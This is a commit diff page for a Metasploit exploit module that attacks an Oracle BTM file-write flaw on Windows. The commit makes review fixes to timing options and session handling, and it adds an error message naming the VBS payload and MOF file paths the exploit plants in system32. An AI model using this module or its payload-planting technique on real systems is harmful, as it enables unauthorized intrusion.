Skip to content

Commit 9a83c7c

Browse files
author
jvazquez-r7
committed
changes according to egypt review
1 parent eae5715 commit 9a83c7c

File tree

1 file changed

+5
-26
lines changed

1 file changed

+5
-26
lines changed

modules/exploits/windows/http/oracle_btm_writetofile.rb

Lines changed: 5 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,10 @@ def initialize(info = {})
4545
[ 'BID', '54839' ],
4646
[ 'EDB', '20318' ]
4747
],
48+
'DefaultOptions' =>
49+
{
50+
'WfsDelay' => 5
51+
},
4852
'Payload' =>
4953
{
5054
'DisableNops' => true,
@@ -76,13 +80,6 @@ def initialize(info = {})
7680
Opt::RPORT(7001),
7781
OptInt.new('DEPTH', [false, 'Traversal depth'])
7882
], self.class)
79-
80-
register_advanced_options(
81-
[
82-
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
83-
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
84-
], self.class)
85-
8683
end
8784

8885
def on_new_session(client)
@@ -92,7 +89,7 @@ def on_new_session(client)
9289

9390
if client.type != "meterpreter"
9491
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
95-
print_error("The vbs payload and mof file must be removed manually.")
92+
print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.")
9693
return
9794
end
9895

@@ -268,24 +265,6 @@ def exploit
268265
'method' => 'GET',
269266
}, 5)
270267

271-
272-
else # This shouldn't happen
273-
return
274-
end
275-
276-
print_status("Waiting for a payload session (backgrounding)...")
277-
278-
if not datastore['ExitOnSession'] and not job_id
279-
fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
280-
end
281-
282-
stime = Time.now.to_f
283-
print_status "Starting the payload handler..."
284-
while(true)
285-
break if session_created? and datastore['ExitOnSession']
286-
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
287-
288-
select(nil,nil,nil,1)
289268
end
290269

291270
end

0 commit comments

Comments
 (0)